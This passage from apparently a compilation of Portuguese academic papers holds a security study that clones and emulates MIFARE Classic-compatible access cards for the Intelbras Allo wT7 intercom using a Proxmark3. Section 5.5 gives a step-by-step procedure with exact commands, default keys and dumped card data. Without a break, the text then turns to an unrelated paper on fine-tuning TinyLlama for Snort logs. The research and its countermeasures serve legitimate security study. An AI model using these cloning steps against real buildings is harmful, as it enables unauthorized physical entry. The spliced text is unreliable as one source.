ambientais. Tal tecnologia funciona sem contato fı́sico, utilizando comunicação por ra-
diofrequência entre uma tag e um leitor, podendo empregar tags ativas, que contêm
alimentação de energia própria, ou passivas, as quais utilizam mecanismos como bobi-
nas para captar campos magnéticos gerados por outros dispositivos para gerar corrente,
conforme a necessidade da aplicação.

Dentre as soluções de radiofrequência existentes, os cartões da famı́lia MIFARE,
especialmente o MIFARE Classic (Lakshmanan 2024), se destacam pela ampla adoção
em sistemas de transporte público e controle de acesso. Oferecendo autenticação e crip-
tografia com o algoritmo proprietário CRYPTO1, esses cartões se popularizaram pelo
baixo custo e pela facilidade de implementação (Araújo 2024). Portanto, fazem-se ne-
cessários estudos com foco na segurança desses dispositivos, de modo que as potenciais
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vulnerabilidades sejam identificadas e mitigadas. Embora existam diversos trabalhos que
tratam de ataques a cartões RFID, poucos avaliam o impacto direto em equipamentos de
controle de acesso usados cotidianamente.

Este trabalho apresenta uma análise sobre a segurança do Intelbras Allo wT7,
explorando vulnerabilidades práticas e demonstrando ataques de clonagem de cartões.
Especificamente, é aplicada a técnica de ataque nested contra cartões MIFARE Clas-
sic (Sartori 2020). Como objetivos especı́ficos, pretende-se:

• Investigar o protocolo de autenticação RFID utilizado;
• Avaliar a presença de chaves padrão e fraquezas conhecidas do MIFARE Classic;
• Demonstrar a clonagem e emulação de cartões utilizando o Proxmark3;
• Propor recomendações de mitigação para fabricantes e usuários finais.

2. Fundamentação Teórica
O Proxmark3 é uma ferramenta amplamente utilizada em pesquisas e testes de segurança
envolvendo sistemas RFID e NFC. No contexto deste trabalho, destaca-se por oferecer su-
porte à leitura, emulação e clonagem de cartões que operam na faixa de 13,56 MHz (HF),
utilizada por tecnologias compatı́veis com MIFARE Classic. A ferramenta possibilita
a inspeção de parâmetros do protocolo de comunicação, a exploração de vulnerabilida-
des conhecidas do algoritmo CRYPTO1 e a execução prática de ataques de clonagem e
emulação, sendo adequada para avaliar falhas em sistemas de controle de acesso baseados
em RFID. Entre as diferentes versões existentes, este estudo utiliza o Proxmark3 Easy, por
sua ampla adoção, compatibilidade com o firmware Iceman e funcionalidades suficientes
para a condução dos experimentos propostos (Fidler et al. 2017).

Os cartões MIFARE Classic (como os detalhados na Tabela 1), desenvolvidos
originalmente pela NXP, são amplamente utilizados em sistemas de controle de acesso,
bilhetagem e identificação. Esses dispositivos operam na frequência de 13,56 MHz,
conforme o padrão ISO/IEC 14443-A Type A, e empregam o algoritmo proprietário
CRYPTO1 para autenticação. Atualmente, esse algoritmo é considerado criptografica-
mente fraco, o que viabiliza ataques práticos de recuperação de chaves e clonagem em
cenários reais (Carluccio et al. 2006, Fidler et al. 2017, Tubino et al. 2015).

Tabela 1. Frequências e finalidades

Tipo Frequência Finalidade

MIFARE Classic 1K Gen1a 13,56 MHz (HF) Clonagem e recuperação de chaves
MIFARE UID regravável (Gen1a) 13,56 MHz (HF) Sobrescrita de UID (clone completo)
T5577 125 kHz (LF) Emulação de EM4100, HID Prox, entre outros

Do ponto de vista estrutural, os cartões MIFARE Classic são organizados em se-
tores, cada um subdividido em blocos de 16 bytes. O último bloco de cada setor, de-
nominado trailer, armazena as chaves de autenticação A e B, ambas com 6 bytes, além
dos Access Bits, responsáveis por definir as permissões de leitura, escrita e autenticação
dos demais blocos. Alguns blocos podem ser configurados como Value Blocks, utilizados
para armazenar valores com redundância interna, como saldos ou contadores. A Tabela 2
apresenta os principais modelos da famı́lia Classic.
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Tabela 2. Principais modelos de MIFARE Classic e caracterı́sticas técnicas

Modelo Memória útil Setores Blocos/setor

Classic 1K 1 KB 16 4
Classic 4K 4 KB 40 32×4 (setores 0–31)
Mini (320 B) 320 B 5 4

As configurações de segurança desses cartões são fortemente influenciadas pelos
Access Bits. O uso inadequado desses parâmetros, frequentemente associado à adoção de
chaves padrão como FFFFFFFFFFFF, permite a execução de ataques conhecidos, como
o Nested, que recupera chaves setoriais de forma iterativa, e o Darkside, que explora
respostas do processo de autenticação (Tubino et al. 2015).

Outro elemento crı́tico é o identificador único (UID), que pode possuir 4 bytes
(SSUID) ou 7 bytes (UID estendido com múltiplos nı́veis de anticolisão). Em chips
genuı́nos, o UID é gravado em memória read-only durante a fabricação. Sistemas que
utilizam exclusivamente o UID como critério de autenticação tornam-se vulneráveis a
ataques de clonagem, emulação e replay, mesmo quando as chaves setoriais não são co-
nhecidas (Fidler et al. 2017, Tubino et al. 2016).

No que se refere à criptografia, o algoritmo CRYPTO1 apresenta fragilidades am-
plamente documentadas, permitindo a recuperação de chaves por meio da análise de non-
ces e do keystream. Essas vulnerabilidades são exploráveis com ferramentas amplamente
disponı́veis, como o Proxmark3 com firmware Iceman, viabilizando ataques como Dark-
side, Nested e vazamento de fluxo cifrado (Fidler et al. 2017). Por esse motivo, a famı́lia
MIFARE Classic é considerada inadequada para sistemas modernos de controle de acesso.

Além dos chips originais da NXP, existem no mercado cartões compatı́veis pro-
jetados explicitamente para facilitar a clonagem. Entre eles destacam-se os Magic Cards
Gen1a, que permitem a sobrescrita do bloco de fabricante (Block 0); os Magic Cards
Gen2, que implementam comandos especiais de backdoor; e os cartões do tipo CUID
(Chinese UID), cujo identificador pode ser regravado por meio de comandos padrão.

Conforme será abordado nas próximas seções, nos experimentos realizados neste
trabalho, constatou-se que os cartões utilizados pelo interfone Intelbras Allo wT7 são
compatı́veis com o chip Fudan FM11RF08, que segue a arquitetura do MIFARE Classic
1K. Observou-se ainda a utilização de chaves padrão em todos os setores, o que viabilizou
a leitura completa da memória, a clonagem para cartões com UID regravável e a emulação
direta do cartão original por meio do Proxmark3.

3. Trabalhos Relacionados

A tecnologia RFID apresenta fragilidades amplamente documentadas na literatura, es-
pecialmente no que se refere à clonagem de etiquetas e à quebra de mecanismos
criptográficos empregados em cartões amplamente utilizados em sistemas de controle
de acesso. Tubino et al. 2015, Tubino 2016, Tubino et al. 2016 demonstram que a de-
pendência do identificador único como fator primário de autenticação torna esses sis-
temas intrinsecamente vulneráveis à clonagem, reforçando a necessidade de mecanismos
adicionais de controle e validação.
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Estudos anteriores já haviam evidenciado fragilidades estruturais na famı́lia MI-
FARE Classic. Garcia et al. 2008 demonstraram a quebra criptográfica do algoritmo pro-
prietário CRYPTO1, enquanto Nohl and Plötz 2008 realizaram sua engenharia reversa
completa, evidenciando que a segurança do sistema baseava-se em obscuridade, e não
em princı́pios criptográficos robustos. Complementarmente, Courtois et al. 2010 for-
malizaram ataques práticos, como Darkside e Nested, capazes de recuperar chaves de
autenticação em cenários reais, mesmo sem acesso privilegiado ao sistema.

Diante desse contexto, a literatura recomenda a adoção de mecanismos de
autenticação baseados em chaves criptográficas robustas, autenticação dinâmica e con-
trole centralizado, permitindo o registro detalhado de tentativas de acesso e a aplicação de
polı́ticas automáticas de detecção e bloqueio de anomalias. Essas abordagens aumentam
a resiliência dos sistemas de controle de acesso contra clonagem e fraudes, fortalecendo a
rastreabilidade e a segurança operacional (Fidler et al. 2017). Portanto, os trabalhos revi-
sados confirmam que o problema de clonagem em sistemas RFID é conhecido há mais de
uma década, mas persiste em dispositivos amplamente comercializados, como o Intelbras
Allo wT7, representando um caso pátrico de vulnerabilidade.

4. Proposta
Este trabalho propõe a realização de um estudo de caso prático em um sistema real de
controle de acesso residencial, representado pelo interfone Intelbras Allo wT7, ampla-
mente utilizado em ambientes cotidianos. Diferentemente de estudos restritos à análise
isolada de cartões RFID ou de protocolos teóricos, a proposta consiste em avaliar o fun-
cionamento prático do mecanismo de autenticação em um produto operacional.

A abordagem experimental adotada, ilustrada na Figura 1, é estruturada em três
etapas principais, concebidas para permitir a análise sistemática do sistema e a validação
empı́rica das vulnerabilidades identificadas: (i) análise do protocolo de comunicação e
captura de dados, (ii) exploração de vulnerabilidades conhecidas associadas à tecnologia
empregada e (iii) demonstração prática da clonagem e emulação de cartões.

Figura 1. Fluxo do processo experimental adotado

4.1. Análise do protocolo de comunicação e captura de dados

A primeira etapa do experimento consiste na análise do protocolo de comunicação uti-
lizado pelo interfone Intelbras Allo wT7, com o objetivo de identificar o tipo de tec-
nologia empregada, as caracterı́sticas dos cartões utilizados e os parâmetros básicos de
autenticação, e para essa finalidade, utiliza-se o dispositivo Proxmark3, que permite a
inspeção de cartões compatı́veis com o padrão ISO/IEC 14443-A.
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Nesta fase, são coletadas informações como UID, ATQA, SAK, tipo de chip e
caracterı́sticas do gerador de números pseudoaleatórios (PRNG), por meio de comandos
especı́ficos da ferramenta. Essa análise inicial possibilita caracterizar o mecanismo de
autenticação empregado pelo sistema, identificar a famı́lia de cartões utilizada e levantar
indı́cios preliminares de fragilidades, como o uso de nonces previsı́veis ou PRNG fraco,
fornecendo subsı́dios técnicos para a etapa seguinte.

4.2. Exploração de vulnerabilidades conhecidas

A segunda etapa compreende a exploração de vulnerabilidades já documentadas na li-
teratura associadas à famı́lia de cartões MIFARE Classic e ao algoritmo criptográfico
CRYPTO1. Com base nas informações obtidas na etapa anterior, são aplicadas técnicas
de ataque amplamente conhecidas, como os ataques Darkside e Nested, utilizando os re-
cursos disponı́veis no firmware Iceman do Proxmark3.

O objetivo desta etapa é avaliar se o sistema analisado apresenta misconfigurações
ou fragilidades que permitam a recuperação de chaves de autenticação, leitura da memória
dos cartões ou outras formas de comprometimento do mecanismo de segurança. A
execução controlada dessas técnicas permite verificar a viabilidade prática dos ataques
no cenário analisado e estabelecer quais condições tornam possı́vel a exploração bem-
sucedida das vulnerabilidades identificadas.

4.3. Demonstração de clonagem e emulação de cartões

Na terceira etapa, é realizada a demonstração prática do impacto das vulnerabilidades
exploradas por meio da clonagem e da emulação de cartões. A partir das chaves e da-
dos obtidos nas etapas anteriores, são gerados dumps completos da memória dos cartões
originais e a restauração desses dados em cartões compatı́veis com UID regravável, bem
como a emulação direta do comportamento dos cartões utilizando o Proxmark3.

A validação dessa etapa ocorre pela verificação do funcionamento dos cartões
clonados ou emulados no interfone Intelbras Allo wT7, observando se o dispositivo os
aceita da mesma forma que os cartões originais. Essa demonstração confirma que as
vulnerabilidades identificadas não se limitam a um cenário teórico ou laboratorial, mas
comprometem efetivamente o controle de acesso em um sistema real de uso cotidiano.

5. Avaliação

Consiste em reproduzir ataques práticos de clonagem sobre cartões de acesso do Intelbras
Allo wT7, utilizando o Proxmark3. O critério de sucesso será a validação de que um
cartão clonado ou emulado é aceito pelo interfone da mesma forma que o cartão original.

5.1. Metodologia

Para a realização dos experimentos, foram empregados dois projetos complementares.
O Proxspace (GATOR96100 2021) foi utilizado como ambiente de compilação e su-
porte à instalação das dependências no sistema operacional Windows, possibilitando a
atualização e o gerenciamento do firmware do dispositivo (Yang and Huang 2018). O
firmware e o cliente do Proxmark3 utilizados nos testes de leitura, escrita e análise das eti-
quetas foram obtidos a partir do repositório oficial do projeto (RfidResearchGroup 2023).
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Os experimentos foram conduzidos com cartões compatı́veis com o padrão
ISO/IEC 14443-A Type A, que define os parâmetros fı́sicos e lógicos para comunicação
por proximidade na frequência de 13,56 MHz. Esse padrão é amplamente adotado em
sistemas de controle de acesso e bilhetagem e constitui a base tecnológica dos cartões
MIFARE Classic utilizados neste estudo (Carluccio et al. 2006).

A frequência de 13,56 MHz apresenta alcance tı́pico entre 2 e 10 centı́metros
e permite tanto a transmissão de dados quanto a alimentação dos cartões por indução
eletromagnética, viabilizando o funcionamento de etiquetas RFID passivas sem bateria
própria (Kazu 2019).

5.2. Resultados
Durante os testes experimentais, foram utilizados cinco tipos diferentes de cartões e tags
com o objetivo de avaliar a segurança, possibilidade de leitura, clonagem e emulação
por meio do dispositivo Proxmark3 V5.0. O cartão IC CUID foi identificado como uma
versão regravável de MIFARE Classic 1K, com UID modificável, sendo utilizado para
testes de clonagem e sobrescrita de UID via comandos do firmware Iceman.

O cartão UID, de leitura simples e UID fixo, serviu como alvo para validação de
vulnerabilidades em sistemas que utilizam apenas identificação por número serial. Já
o cartão Intelbras, utilizado em sistemas reais de controle de acesso e operando pro-
vavelmente na frequência de 125 kHz, foi submetido a testes de leitura com foco na
identificação do tipo de chip (como EM4100) e posterior tentativa de clonagem para uma
tag T5577. O cartão branco virgem, sem marcações visuais, foi empregado como base
para gravações tanto em LF quanto HF, dependendo do chip detectado.

Por fim, o chaveiro azul M1, identificado como um MIFARE Classic 1K legı́timo,
foi submetido a ataques de leitura de blocos, dump completo e emulação, evidenciando as
fragilidades do algoritmo CRYPTO1 e a ausência de autenticação robusta.

5.3. Ataque Darkside

Durante os testes realizados com o equipamento Proxmark3, com o firmware Iceman, foi
aplicada a técnica conhecida como Darkside Attack, um método de força bruta utilizado
para descobrir chaves de autenticação em cartões MIFARE Classic, explorando a res-
posta do cartão ao receber comandos especı́ficos malformados. A execução do comando
hf mf darkside teve uma duração média estimada de 25 segundos. No entanto, o
cartão utilizado no experimento não se mostrou vulnerável a esse tipo de ataque, con-
forme indicado pela mensagem: “Card is not vulnerable to Darkside attack (doesn’t send
NACK on authentication requests)”.

Isso significa que o cartão não respondeu com o comportamento esperado (NACK)
que permitiria inferir a chave secreta, indicando uma proteção contra esse tipo de
exploração. Esse resultado reforça que, apesar de o Allo wT7 ter o UID fixo, o cartão
testado possui algum nı́vel de proteção contra ataques criptográficos diretos, ainda que
continue vulnerável à clonagem via UID, conforme apresenta na figura 2.

5.4. Ataque Nested

O ataque nested permite recuperar chaves de setores adicionais quando ao menos uma
chave de qualquer setor é conhecida. A técnica explora o fato de que, após uma
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Figura 2. Execução do ataque Darkside

autenticação bem-sucedida, a comunicação entre leitor e cartão fica cifrada por fluxo
CRYPTO1, com cada byte C = P ⊕ KS. Ao iniciar uma segunda autenticação para
outro bloco sem encerrar a sessão, o nonce do cartão (Nt2) e os campos de autenticação
(AR2, AT2) trafegam dentro do canal cifrado (Araújo 2024).

Como o atacante conhece o keystream posição a posição (por ter a chave do
primeiro setor), ele recupera Nt2, NR2 e autenticações em claro. Com o quádruplo
⟨UID,Nt2, Nr2, AT2⟩, aplica-se um ataque off-line para reconstruir a chave de 6 by-
tes do setor alvo em poucos segundos. O procedimento repete-se para todos os setores,
observa-se na Figura 3.

Figura 3. Mapa de chaves extraı́das do cartão original

Com a TAG M1 utilizada na Figura 4 que não permite a alteração do UID, não
foi possı́vel realizar a abertura do portão, pois a tag tem o UID é gravado de fábrica em
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ROM, sem alteração (read-only), qualquer tentativa de gravação com comandos padrão
falhará.

Figura 4. Tag M1 no Proxmark3

A Figura 5 mostra um cartão MIFARE com UID editável (conhecido como magic
ou UID-writable), que é uma versão não original projetada para permitir a reprogramação
do identificador único (UID). Esses dispositivos, frequentemente comercializados como
“UID changeable” ou “Chinese UID”, possuem a área do UID implementada de forma
programável, o que possibilita alterar por meio de ferramentas como o Proxmark. Di-
ferentemente dos chips MIFARE genuı́nos, cujo UID é gravado em memória somente-
leitura de fábrica, essas variantes são fabricadas com o objetivo de facilitar a regravação,
o que consequentemente viabiliza a clonagem de dispositivos. Portanto, essas etiquetas
apresentam implicações relevantes para a segurança de sistemas que dependem do UID
como único fator de autenticação.

Figura 5. IC CUID no Intelbras Allo wT7

Com base nos resultados obtidos, temos que os cartões do Intelbras Allo wT7 uti-
lizam tecnologia Fudan compatı́vel com MIFARE Classic 1K, todos configurados com
chaves padrão (Lekander 2024). Com isso, foi possı́vel realizar o dump completo dos
cartões e restaurá-los em cartões magic como pode observar na Figura 6, bem como emu-
lar sua operação via Proxmark3. Isso comprova a vulnerabilidade do sistema frente a
ataques de clonagem, conforme apresentado na Figura 3.
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Figura 6. Dump dos dados no cartão clone sem alteração do UID

5.5. Metodologia de clonagem e parâmetros experimentais

Esta subseção descreve, de forma reprodutı́vel, o procedimento utilizado para clonar um
cartão MIFARE Classic 1K empregando a plataforma Proxmark3. São apresentados o
ambiente de teste, os parâmetros relevantes, os comandos executados e as evidências
obtidas a partir do log do terminal.

5.5.1. Ambiente de hardware e software

Os experimentos foram realizados em bancada, em ambiente de laboratório, utilizando o
seguinte conjunto de hardware e software:

• Leitor/atacante: placa Proxmark3 baseada em MCU AT91SAM7S512 (512 KB
de memória), com firmware Iceman em versão master/release (Bootrom e
OS identificados pelo hash 9e9e48af6 no cliente).

• Host: estação de trabalho com sistema operacional Windows e ambiente Proxs-
pace, executando o cliente Proxmark3 via interface serial virtual COM6.

• Cartão de origem: cartão MIFARE Classic 1K compatı́vel (fingerprint Fudan
FM11RF08S), identificado pelo UID AA-69-3C-D5, ATQA 00-04 e SAK 08.

• Cartões de destino: tags magic compatı́veis com MIFARE Classic 1K (por exem-
plo, Gen 2/CUID ou Gen 1a), capazes de aceitar escrita no bloco de fabricante
(bloco 0) via comandos especiais.

• Posicionamento fı́sico: o cartão/tag foi colocado diretamente sobre a antena HF
do Proxmark3, em contato fı́sico (distância menor que 1 cm), a fim de garantir
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boa acoplagem e minimizar ruı́do durante os ataques criptográficos e leituras su-
cessivas.

5.5.2. Identificação do cartão e verificação de PRNG

O primeiro passo consistiu na detecção do cartão e na coleta de informações básicas da
interface ISO14443-A. Para isso, foram utilizados os comandos:

hf search
hf mf info

O comando hf search identificou a presença de um cartão ISO14443-A válido,
com UID compatı́vel com MIFARE Classic 1K, ATQA 0x0004 e SAK 0x08. Já o
comando hf mf info apresentou o fingerprint do chip (Fudan FM11RF08S no cartão
original) e indicou que o gerador de números pseudo-aleatórios (PRNG) é fraco, além de
evidenciar a presença de nonces estáticos em um dos cartões analisados, conforme trechos
do log:

[=] --- ISO14443-a Information -----------------------------
[+] UID: AA 69 3C D5
[+] ATQA: 00 04
[+] SAK: 08 [1]
[...]
[=] --- PRNG Information
[+] Prng....... weak
[+] Static enc nonce... yes

Em outro cartão analisado (Fudan based card), o cliente registrou explicitamente
um nonce estático:

[#] Static nonce....... 009080a2
[+] Static nonce... yes

Essas evidências suportam a exploração de vulnerabilidades conhecidas na famı́lia
MIFARE Classic, relacionadas a nonces previsı́veis e PRNG fraco.

5.5.3. Tentativa de ataque Darkside

Como parte da avaliação de segurança, foi tentado o ataque Darkside, que explora um
comportamento especı́fico de NACK durante o processo de autenticação. O comando
utilizado foi:

hf mf darkside

O cliente Proxmark3 retornou a mensagem de que o cartão não é vulnerável ao
ataque Darkside, por não enviar NACK na forma esperada:

[=] Running darkside ...........
[-] Card is not vulnerable to Darkside attack

(doesn’t send NACK on authentication requests).

Este resultado demonstra que, embora o PRNG seja fraco, o cartão original não
apresenta a condição especı́fica explorada por essa técnica.
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5.5.4. Recuperação de chaves com hf mf nested (modo dicionário)

A recuperação das chaves de todos os setores do cartão de origem foi realizada com o
comando hf mf nested em modo de dicionário, explorando o fato de que as chaves
configuradas eram valores padrão conhecidos (FFFFFFFFFFFF):

hf mf nested --1k --blk 0 -a -k FFFFFFFFFFFF --dump

Os parâmetros principais utilizados foram:

• --1k: indica que o alvo é um cartão MIFARE Classic 1K;

• --blk 0: bloco de entrada usado para autenticação inicial;

• -a: especifica que a chave fornecida é do tipo A;

• -k FFFFFFFFFFFF: chave A inicial (padrão de fábrica);

• --dump: solicita que as chaves recuperadas sejam salvas em arquivo.

O log registra que o ataque entrou em modo de recuperação por dicionário, tes-
tando chaves conhecidas e encontrando as chaves de todos os 16 setores:

[+] --- Enter dictionary recovery mode ---------------
[+] Sector count 16
[+] Testing known keys. Sector count 16
[+] Fast check found all keys

[+] -----+-----+--------------+---+--------------+----
[+] Sec | Blk | key A |res| key B |res
[+] -----+-----+--------------+---+--------------+----
[+] 000 | 003 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+] 001 | 007 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[...]
[+] 015 | 063 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+] -----+-----+--------------+---+--------------+----

Ao término da execução, o cliente gerou o arquivo de chaves:

[+] Found keys have been dumped to
’hf-mf-AA693CD5-key.bin’

5.5.5. Geração do dump completo da memória

De posse do arquivo de chaves, foi realizado o dump completo do conteúdo do cartão de
origem (todos os 64 blocos do MIFARE Classic 1K). O comando utilizado foi:

hf mf dump --1k --keys hf-mf-AA693CD5-key.bin

O cliente indicou a leitura correta dos access bits de todos os setores e a finalização
bem-sucedida do processo:

[=] Reading sector access bits...
[=] .................
[+] Finished reading sector access bits
[=] Dumping all blocks from card...
[+] Succeeded in dumping all blocks
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Ao final, foram gerados dois arquivos: um dump binário e um arquivo em formato
JSON com a mesma informação estruturada:

[+] Saved 1024 bytes to binary file ’hf-mf-AA693CD5-dump.bin’
[+] Saved to json file ’hf-mf-AA693CD5-dump.json’

O conteúdo apresentado no terminal confirma a leitura de todos os blocos, in-
cluindo o bloco de fabricante (bloco 0), que contém o UID original AA-69-3C-D5 e os
dados do fabricante.

5.5.6. Gravação do dump em cartões magic (clonagem)

Para reproduzir a clonagem, o dump obtido foi escrito em tags magic compatı́veis com
MIFARE Classic 1K, que permitem a sobrescrita do bloco 0. Após posicionar o cartão de
destino sobre a antena HF, a memória foi restaurada com:

hf mf restore --1k --file hf-mf-AA693CD5-dump.json \
-k hf-mf-AA693CD5-key.bin

No caso das tags en 2/CUID, o cliente reportou sucesso na escrita de todos os
blocos, incluindo o bloco de fabricante:

[=] blk | data | status
[=] -----+-------------------------------------------------+---------
[=] 0 | AA 69 3C D5 2A 08 04 00 04 23 25 3B 64 EB 99 90 | ( ok )
[=] 1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ( ok )
[...]
[=] 63 | FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF | ( ok )
[=] -----+-------------------------------------------------+---------

A mensagem de status (ok) para todos os blocos indica que a memória da tag de destino
passou a replicar exatamente o conteúdo do cartão de origem, incluindo UID, access bits
e chaves de todos os setores.

5.5.7. Validação da cópia e re-leitura do cartão clonado

Como etapa de validação, o cartão clonado foi novamente lido com hf mf dump (uti-
lizando o mesmo arquivo de chaves). O cliente retornou um dump idêntico ao do cartão
original, confirmando a clonagem bem-sucedida:

hf mf dump --ns
[=] Dumping all blocks from card...
[+] Succeeded in dumping all blocks
[...]
[=] 0 | AA 69 3C D5 2A 08 04 00 04 23 25 3B 64 EB 99 90 | .i<.*....#%;d...

Dessa forma, a metodologia descrita permite que outros pesquisadores repliquem
o processo de clonagem de um cartão MIFARE Classic 1K com o mesmo conjunto de
ferramentas, parâmetros e comandos, bem como validem a exploração de chaves padrão
e PRNG fraco em tags do mesmo tipo.
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6. Contramedidas

À luz da literatura, observa-se que as vulnerabilidades identificadas no Intelbras Allo
wT7 não estão associadas exclusivamente ao uso do MIFARE Classic, mas também à
ausência de mecanismos complementares de segurança, como autenticação dinâmica, ge-
renciamento adequado de chaves e detecção de clonagem, conforme discutido por Tu-
bino (Tubino et al. 2015) e Fidler (Fidler et al. 2017).

Tubino et al. 2015, Tubino et al. 2016 demonstram que a dependência do UID
como fator primário de autenticação torna sistemas RFID intrinsecamente vulneráveis
à clonagem, mesmo quando o cartão não é fisicamente comprometido. Como contrame-
dida, os autores propõem mecanismos de detecção e invalidação de etiquetas clonadas
baseados na análise de padrões de uso, eventos simultâneos e inconsistências temporais,
permitindo identificar cópias ilegı́timas em ambientes operacionais reais. Esses resulta-
dos indicam que estratégias eficazes de mitigação devem envolver não apenas o cartão,
mas também lógica de controle no leitor ou em sistemas de gerenciamento.

De forma complementar, Fidler et al. 2017 analisam ataques práticos contra dis-
positivos NFC e RFID amplamente adotados no mercado e destacam que o uso de algorit-
mos criptográficos obsoletos e autenticação estática compromete a segurança mesmo em
cenários controlados. Os autores defendem a substituição de mecanismos legados por pro-
tocolos criptográficos modernos, autenticação dinâmica e múltiplos fatores de validação,
reduzindo a viabilidade de ataques baseados em replay, emulação ou clonagem. No con-
texto do Intelbras Allo wT7, a inexistência desses mecanismos reforça a relevância das
vulnerabilidades observadas experimentalmente e evidencia a necessidade de evolução
arquitetural para atender a requisitos mı́nimos de segurança.

7. Conclusão e Trabalhos Futuros

Este trabalho investigou a segurança do mecanismo de autenticação RFID empregado no
interfone Intelbras Allo wT7, um dispositivo amplamente utilizado em ambientes resi-
denciais para controle de acesso. O problema central considerado foi a possibilidade de
comprometimento do sistema por meio de clonagem e emulação de cartões, cenário espe-
cialmente crı́tico quando a validação depende de tecnologias legadas e de configurações
frágeis, reduzindo a efetividade do controle de acesso e elevando o risco para os usuários.

Para abordar esse problema, foi conduzida uma avaliação prática utilizando o
Proxmark3 para caracterizar o protocolo e os cartões utilizados, explorar fragilidades
conhecidas associadas à famı́lia MIFARE Classic/compatı́veis e verificar, experimental-
mente, a viabilidade de clonagem e emulação em condições controladas. Como principais
contribuições, o estudo apresenta um estudo de caso reprodutı́vel de violação de um dis-
positivo IoT de uso cotidiano, documenta evidências técnicas que sustentam a exploração
observada e consolida recomendações de mitigação alinhadas à literatura, reforçando a
necessidade de mecanismos adicionais de segurança além da autenticação estática.

Como trabalhos futuros, pretende-se ampliar a análise para outros modelos
de interfones e cenários de implantação, incluindo variações de cartões, firmware e
configurações do leitor, a fim de avaliar a generalização dos achados. Também serão
investigadas contramedidas mais robustas, como gerenciamento de chaves com rotação e
diversificação, autenticação dinâmica e mecanismos de detecção de clonagem.
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Abstract. This work investigates the application of Small Language Models
(SLMs) in Explainable Artificial Intelligence (XAI) for Cybersecurity, aiming to
reduce the dependency on high computational power. We propose a fine-tuning
pipeline for the TinyLlama-1.1B model, utilizing the Gemini API to generate
synthetic training data (threat interpretations) from Snort IDS logs. The mo-
del’s effectiveness was evaluated through learning curves and ROUGE metrics.
Results demonstrate that the SLM achieves stable convergence and produces
coherent technical explanations, particularly with 512-token context windows.
We conclude that using compact models is a viable and low-cost strategy that
can assist analysts in the local interpretation of security incidents.

Resumo. Este trabalho investiga a aplicação de uma Small Language Models
(SLMs) em Inteligência Artificial Explicável (XAI) para Cibersegurança, com o
objetivo de reduzir a dependência de alto poder computacional. Propõe-se um
pipeline de ajuste fino (fine-tuning) do modelo TinyLlama-1.1B, utilizando a API
Gemini para gerar dados sintéticos de treinamento (interpretações de ameaças)
a partir de logs do IDS Snort. A eficácia do modelo foi avaliada através de cur-
vas de aprendizado e métricas ROUGE. Os resultados demonstram que a SLM
atinge convergência estável e produz explicações técnicas coerentes, especial-
mente com janelas de contexto de 512 tokens. Conclui-se que o uso de modelos
compactos é uma estratégia viável e de baixo custo, que pode auxiliar analistas
na interpretação de incidentes de segurança locais.

1. Introdução

Este trabalho aborda as tecnologias de Large Language Model (LLM) e Intrusion Detec-
tion System (IDS). O LLM escolhido foi o TinyLLama, um modelo de baixo custo, que
não exige uma máquina com recursos computacionais avançados ou modernos e roda ate
mesmo em computadores antigos. Tudo isso o torna ideal para sistemas que não podem
arcar com o alto consumo de processamento.

As LLMs representam um grande avanço no ramo da inteligência artificial, sendo
aplicadas em campos essenciais como educação, negócios e segurança cibernética. Esta
tecnologia abre novas frentes de pesquisa sobre como diferentes LLMs podem ser utili-
zadas com a finalidade de proteger e monitorar sistemas de segurança [Calloway 2025].

Em segurança, os modelos de LLM ainda têm bastante limitações, mas apesar
disto, este tópico continua atraindo grande interesse da comunidade. Devido a serem
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pré-treinados com uma grande quantidade de dados, as LLMs demonstram ter alta ca-
pacidade de executar tarefas simultaneamente e também de generalização. Os modelos
pré-treinados com logs de segurança, podem melhorar de forma relevante o campo de
segurança cibernética [Bulut et al. 2024].

O refinamento das técnicas de ataque exigem, cada vez mais, atenção contı́nua
e resposta por parte dos analistas de segurança. Que pode ser feita elevando o nı́vel
das regras, como também, expertise em segurança. Neste contexto, o trabalho humano
pode ser reduzido, atribuindo algumas das tarefas a inteligência artificial. Uma LLM
bem treinada pode automatizar várias tarefas que antes eram realizadas por mãos huma-
nas [Daniel et al. 2025].

Este trabalho tem o objetivo de testar a capacidade do modelo Tinyllama em iden-
tificar corretamente logs do Snort. Enquanto outros trabalhos tem a proposta de incorporar
modelos cada vez mais robustos de LLMs no campo de segurança cibernética, este segue o
caminho inverso, buscando SLMs que possam ser utilizadas em ambientes crı́ticos de ma-
neira eficiente e sem que isso exija alto poder computacional. As principais contribuições
deste trabalho são:

• Desenvolvimento de um pipeline de fine-tuning supervisionado: Integração do
IDS Snort com a API Gemini para a geração automatizada de datasets de treina-
mento enriquecidos, permitindo a especialização de modelos menores.

• Validação de SLMs para interpretação de logs: Demonstração empı́rica de que o
modelo TinyLlama-1.1B, quando ajustado corretamente, é capaz de atuar como
assistente local de segurança, preservando a privacidade dos dados.

• Análise de desempenho e contexto: Identificação dos limites operacionais de mo-
delos compactos, estabelecendo que uma janela de contexto mı́nima de 512 tokens
é determinante para a coerência semântica das explicações de segurança.

2. Referencial Tecnológico
Esta seção aborda as principais tecnologias utilizadas para desenvolvimento deste traba-
lho.

2.1. Snort e base de dados
O snort é um dos principais sistemas de prevenção de Instrução (IPS). Além disso, é uma
ferramenta de código aberto, o que permite aos seus usuários verificar o código fonte dela.
O snort conta com uma grande variedade de regras, que ajudam a identificar atividades
maliciosas na rede. O funcionamento da ferramenta para identificar ataques é por meio
da análise de padrões nos pacotes trafegados. A partir disso, ele consegue emitir alertas
para o analista de segurança.

A base de dados utilizada, disponı́vel no repositório [Sconzo 2025], tem o
propósito de facilitar o trabalho de analistas de segurança que desejam treinar modelos
de Machine Learning. Esta base reúne dados que foram criados ou adicionados por ou-
tras fontes. O autor do repositório está empenhado em manter as bases atualizadas.

2.2. Arquitetura Tranformer
A arquitetura transformer foi apresentada por [Vaswani et al. 2017]. Esta arquitetura é o
pilar da IA moderna, sendo a base dos principais modelos conhecidos atualmente, como
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Gemini, GPT e TinyLlama. Esta arquitetura resolveu o principal problema de alguns dos
modelos anteriores, que processavam texto palavra por palavra, tornando o processo lento.
O transformer tem o mecanismo de auto-atenção, que lhe permite processar todo o texto
em paralelo, com isso gerando respostas mais eficientes.

2.2.1. Large Language Models (LLM)

LLM é um modelo de aprendizado profundo usado em inteligência artificial generativa.
